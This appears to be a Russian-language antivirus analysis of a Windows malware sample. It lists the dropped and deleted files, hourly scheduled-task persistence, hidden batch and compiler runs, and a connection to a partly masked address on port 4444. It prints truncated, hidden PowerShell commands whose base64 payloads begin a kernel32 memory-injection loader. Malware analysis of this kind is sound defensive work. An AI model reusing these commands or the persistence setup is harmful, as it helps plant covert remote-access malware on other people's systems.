Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\macro1
Вредоносные функции
Создает и запускает на исполнение (эксплоит)
- '%APPDATA%\microsoft\templates\macro1.exe'
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c %APPDATA%\Microsoft\Templates\Macro1.bat
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ixp000.tmp\bob_8_4.bat
- %TEMP%\4qgc6msu.0.cs
- %TEMP%\4qgc6msu.cmdline
- %TEMP%\4qgc6msu.out
- %TEMP%\csc9655.tmp
- %TEMP%\res9666.tmp
- %TEMP%\4qgc6msu.dll
Удаляет следующие файлы
- %TEMP%\ixp000.tmp\bob_8_4.bat
- %TEMP%\res9666.tmp
- %TEMP%\csc9655.tmp
- %TEMP%\4qgc6msu.0.cs
- %TEMP%\4qgc6msu.cmdline
- %TEMP%\4qgc6msu.out
- %TEMP%\4qgc6msu.dll
- %TEMP%\4qgc6msu.pdb
Сетевая активность
Подключается к
- '82.##.62.121':4444
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c bob_8_4.bat (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Create /SC HOURLY /TN Macro1 /TR %APPDATA%\Microsoft\Templates\Macro1.exe /ST 01:00
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -NonI -W Hidden -Enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4...
- '<SYSTEM32>\cmd.exe' /c del "%TEMP%\IXP000.TMP\bob_8_4.bat"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -enc JABjACAAPQAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABs...
- '%WINDIR%\microsoft.net\framework\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4qgc6msu.cmdline" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9666.tmp" "%TEMP%\CSC9655.tmp" (со скрытым окном)
- '%APPDATA%\microsoft\templates\macro1.exe' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c %APPDATA%\Microsoft\Templates\Macro1.bat (со скрытым окном)
